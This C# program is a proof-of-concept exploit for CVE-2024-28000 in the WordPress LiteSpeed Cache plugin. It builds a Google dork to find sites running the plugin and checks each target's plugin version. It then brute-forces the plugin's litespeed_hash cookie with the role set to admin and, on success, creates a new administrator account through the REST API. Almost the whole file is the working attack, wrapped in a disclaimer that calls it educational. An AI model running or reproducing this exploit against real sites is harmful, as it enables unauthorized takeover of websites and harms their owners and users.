Program.cs

using System;
using System.Net.Http;
using System.Text;
using System.Threading.Tasks;
using System.Threading;
using System.Security.Cryptography;
using System.Collections.Generic;
using System.Diagnostics;
using System.Text.RegularExpressions;

namespace Abdal_CVE_2024_28000
{
    class Program
    {
        // Configuration
        private static string targetUrl;
        private static readonly string restApiEndpoint = "/wp-json/wp/v2/users";
        private static readonly string ajaxEndpoint = "/wp-admin/admin-ajax.php";
        private static readonly string adminUserId = "1";
        private static readonly int numHashAttempts = 1000000;
        private static readonly int numWorkers = 10;
        private static string newUsername;
        private static string newUserPassword;

        private static readonly HttpClient client = new HttpClient();

        static async Task<string> CheckLiteSpeedTagAsync(string url)
        {
            try
            {
                using (HttpClient client = new HttpClient())
                {
                    HttpResponseMessage response = await client.GetAsync(url);

                    if (response.Headers.Contains("X-LiteSpeed-Tag"))
                    {
                        return "Header Found";
                    }
                    else
                    {
                        return "The LiteSpeed Cache plugin is not installed or activated on this site.";
                    }
                }
            }
            catch (HttpRequestException ex)
            {
                return $"Connection Error: {ex.Message}";
            }
            catch (Exception ex)
            {
                return $"General Error: {ex.Message}";
            }
        }

        static async Task<string> CheckStableTagAsync(string url)
        {
            try
            {
                HttpResponseMessage response = await client.GetAsync(url);
                if (response.IsSuccessStatusCode)
                {
                    string content = await response.Content.ReadAsStringAsync();
                    string stableTagLine = "Stable tag:";
                    int index = content.IndexOf(stableTagLine);

                    if (index >= 0)
                    {
                        int versionStartIndex = index + stableTagLine.Length;
                        string version = content.Substring(versionStartIndex).Trim().Split('\n')[0].Trim();

                        if (Version.TryParse(version, out Version parsedVersion) && parsedVersion >= new Version(6, 4))
                        {
                            return
                                $"The LiteSpeed Cache plugin is up-to-date (Version: {version}). The site is not vulnerable.";
                        }
                        else
                        {
                            return
                                $"Warning: The LiteSpeed Cache plugin version is below 6.3 (Version: {version}). The site may be vulnerable.";
                        }
                    }
                }

                return "Unable to determine the Stable tag version.";
            }
            catch (HttpRequestException ex)
            {
                return $"Connection Error: {ex.Message}";
            }
            catch (Exception ex)
            {
                return $"General Error: {ex.Message}";
            }
        }

        static async Task Main(string[] args)
        {
            Console.Title = "Abdal CVE-2024-28000 - POC by EbraSha";
            // Display disclaimer
            DisplayDisclaimer();

            // Get user input for disclaimer acceptance
            Console.Write("Do you accept the terms and conditions? (y/n): ");
            string userInput = Console.ReadLine().Trim().ToLower();

            if (userInput != "y")
            {
                Console.ForegroundColor = ConsoleColor.Yellow;
                Console.WriteLine("You cannot use this software without accepting the terms and conditions.");
                Console.ResetColor();
                Console.WriteLine("Press any key to exit...");
                Console.ReadKey();
                return;
            }

            // Display banner
            DisplayBanner();

            // Google Dorking 
            // Get user input for disclaimer acceptance
            Console.Write("Do you need Google Dorking? (y/n): ");
            string userInputGoogleDorking = Console.ReadLine().Trim().ToLower();
            string userInputDomainExtension = "";
            if (userInputGoogleDorking == "y")
            {
                Console.ForegroundColor = ConsoleColor.Cyan;
                Console.Write("Enter domain extension (e.g., .com):");
                userInputDomainExtension = Console.ReadLine().Trim().ToLower();


                string pattern = @"^\.[a-zA-Z]";

                while (true)
                {
                    if (Regex.IsMatch(userInputDomainExtension, pattern, RegexOptions.IgnoreCase))
                    {
                        Console.ResetColor();
                        Console.ForegroundColor = ConsoleColor.Magenta;
                        string googleDorkPrepare = "site:" + userInputDomainExtension +
                                                   "  inurl:\"wp-content/plugins/litespeed-cache\"";
                        Console.WriteLine("Your Google Dork is: " + googleDorkPrepare);
                        Console.WriteLine("Your browser will open and a Google Dork will be executed.");
                        Process.Start(new ProcessStartInfo("https://www.google.com/search?q=" + googleDorkPrepare)
                            { UseShellExecute = true });
                        Console.ResetColor();
                        Console.ResetColor();
                        break;
                    }
                    else
                    {
                        Console.ForegroundColor = ConsoleColor.Cyan;
                        Console.Write("Invalid input. Please enter a valid domain extension (e.g., .com): ");
                        userInputDomainExtension = Console.ReadLine().Trim().ToLower();
                    }
                }
            }
            else
            {
                Console.ForegroundColor = ConsoleColor.Magenta;
                Console.WriteLine("Google Dork generation was canceled by the user.");
                Console.ResetColor();
            }

            // Get user input
            Console.Write("Enter the target URL (e.g., http://example.com): ");
            targetUrl = Console.ReadLine();

            Console.Write("Enter the new admin username: ");
            newUsername = Console.ReadLine();

            Console.Write("Enter the new admin password: ");
            newUserPassword = Console.ReadLine();

            // check LiteSpeed Plugin
            string PluginStatus = await CheckLiteSpeedTagAsync(targetUrl);
            if (PluginStatus == "Header Found")
            {
                // Check the Stable tag version
                string versionCheckResult =
                    await CheckStableTagAsync($"{targetUrl}/wp-content/plugins/litespeed-cache/readme.txt");


                // Continue with the rest of the logic if necessary

                if (versionCheckResult.Contains("Warning"))
                {
                    // Seed the random number generator (mimicking mt_srand)
                    Random random = new Random();

                    // Trigger hash generation
                    TriggerHashGeneration().Wait();

                    // Create and start worker threads
                    List<Task> tasks = new List<Task>();
                    for (int i = 0; i < numWorkers; i++)
                    {
                        tasks.Add(Task.Run(() => Worker()));
                    }

                    Task.WaitAll(tasks.ToArray());
                }
                else
                {
                    Console.ForegroundColor = ConsoleColor.Green;
                    Console.WriteLine(versionCheckResult);
                    Console.ReadLine();
                    Console.ResetColor();
                }
            }
            else
            {
                Console.ForegroundColor = ConsoleColor.Green;
                Console.WriteLine(PluginStatus);
                Console.ReadLine();
                Console.ResetColor();
            }
        }

        private static void DisplayDisclaimer()
        {
            Console.ForegroundColor = ConsoleColor.Yellow;
            Console.WriteLine("============================================");
            Console.WriteLine(" DISCLAIMER: ");
            Console.WriteLine(" POC: Abdal CVE-2024-28000 by Ebrahim Shafiei (EbraSha)");
            Console.WriteLine(" This Proof of Concept (PoC) is for educational purposes only. ");
            Console.WriteLine(" Unauthorized use of this software on systems you do not own or ");
            Console.WriteLine(" have explicit permission to test is illegal and unethical. ");
            Console.WriteLine(" Users must comply with all applicable laws and regulations. ");
            Console.WriteLine(" The developer assumes no responsibility for misuse or damage.");
            Console.WriteLine("============================================");
            Console.ResetColor();
            Console.WriteLine();
        }

        private static void DisplayBanner()
        {
            Console.ForegroundColor = ConsoleColor.White;
            Console.WriteLine("============================================");
            Console.WriteLine("         Abdal CVE-2024-28000 Ver 3.0       ");
            Console.WriteLine("         PoC: Ebrahim Shafiei (EbraSha)      ");
            Console.WriteLine("         Telegram: https://t.me/ProfShafiei  ");
            Console.WriteLine("         Email: Prof.Shafiei@gmail.com       ");
            Console.WriteLine("         Vulnerability ID: CVE-2024-28000    ");
            Console.WriteLine("============================================");
            Console.ResetColor();
            Console.WriteLine();
        }

        private static async Task TriggerHashGeneration()
        {
            var payload = new Dictionary<string, string>
            {
                { "action", "async_litespeed" },
                { "litespeed_type", "crawler" }
            };

            var content = new FormUrlEncodedContent(payload);
            try
            {
                var response = await client.PostAsync($"{targetUrl}{ajaxEndpoint}", content);
                if (response.IsSuccessStatusCode)
                {
                    Console.ForegroundColor = ConsoleColor.White;
                    Console.WriteLine("[INFO] Triggered hash generation.");
                    Console.ResetColor();
                }
                else
                {
                    Console.ForegroundColor = ConsoleColor.Yellow;
                    Console.WriteLine(
                        $"[ERROR] Failed to trigger hash generation - Status code: {response.StatusCode}");
                    Console.ResetColor();
                }
            }
            catch (HttpRequestException e)
            {
                Console.ForegroundColor = ConsoleColor.Yellow;
                Console.WriteLine($"[ERROR] AJAX request failed: {e.Message}");
                Console.ResetColor();
            }
        }

        private static async Task AttemptHash(string hashValue)
        {
            var cookies = new Dictionary<string, string>
            {
                { "litespeed_hash", hashValue },
                { "litespeed_role", adminUserId }
            };

            var requestMessage = new HttpRequestMessage(HttpMethod.Post, $"{targetUrl}{restApiEndpoint}");
            foreach (var cookie in cookies)
            {
                requestMessage.Headers.Add("Cookie", $"{cookie.Key}={cookie.Value}");
            }

            try
            {
                var response = await client.SendAsync(requestMessage);
                if (response.IsSuccessStatusCode)
                {
                    Console.ForegroundColor = ConsoleColor.Green;
                    Console.WriteLine($"[SUCCESS] Valid hash found: {hashValue}");
                    await CreateAdminUser(cookies);
                    Console.ResetColor();
                }
                else if (response.StatusCode == System.Net.HttpStatusCode.Unauthorized)
                {
                    Console.ForegroundColor = ConsoleColor.Yellow;
                    Console.WriteLine($"[FAIL] Invalid hash: {hashValue}");
                    Console.ResetColor();
                }
                else
                {
                    Console.ForegroundColor = ConsoleColor.Yellow;
                    Console.WriteLine(
                        $"[ERROR] Unexpected response for hash: {hashValue} - Status code: {response.StatusCode}");
                    Console.ResetColor();
                }
            }
            catch (HttpRequestException e)
            {
                Console.ForegroundColor = ConsoleColor.Yellow;
                Console.WriteLine($"[ERROR] Request failed: {e.Message}");
                Console.ResetColor();
            }
        }

        private static async Task CreateAdminUser(Dictionary<string, string> cookies)
        {
            var userData = new
            {
                username = newUsername,
                password = newUserPassword,
                email = $"{newUsername}@example.com",
                roles = new[] { "administrator" }
            };

            var jsonContent = new StringContent(Newtonsoft.Json.JsonConvert.SerializeObject(userData), Encoding.UTF8,
                "application/json");
            var requestMessage = new HttpRequestMessage(HttpMethod.Post, $"{targetUrl}{restApiEndpoint}")
            {
                Content = jsonContent
            };

            foreach (var cookie in cookies)
            {
                requestMessage.Headers.Add("Cookie", $"{cookie.Key}={cookie.Value}");
            }

            try
            {
                var response = await client.SendAsync(requestMessage);
                if (response.IsSuccessStatusCode)
                {
                    Console.ForegroundColor = ConsoleColor.Green;
                    Console.WriteLine($"[SUCCESS] New admin user \"{newUsername}\" created successfully!");
                    Console.ResetColor();
                }
                else
                {
                    Console.ForegroundColor = ConsoleColor.Yellow;
                    Console.WriteLine(
                        $"[ERROR] Failed to create admin user - Status code: {response.StatusCode} - Response: {await response.Content.ReadAsStringAsync()}");
                    Console.ResetColor();
                }
            }
            catch (HttpRequestException e)
            {
                Console.ForegroundColor = ConsoleColor.Yellow;
                Console.WriteLine($"[ERROR] User creation request failed: {e.Message}");
                Console.ResetColor();
            }
        }

        private static async Task Worker()
        {
            for (int i = 0; i < numHashAttempts / numWorkers; i++)
            {
                string randomString = GenerateRandomString(6);
                Console.WriteLine($"[DEBUG] Trying hash: {randomString}");

                await AttemptHash(randomString);
            }
        }

        private static string GenerateRandomString(int length)
        {
            const string chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
            StringBuilder result = new StringBuilder(length);
            Random random = new Random();

            for (int i = 0; i < length; i++)
            {
                result.Append(chars[random.Next(chars.Length)]);
            }

            return result.ToString();
        }
    }
}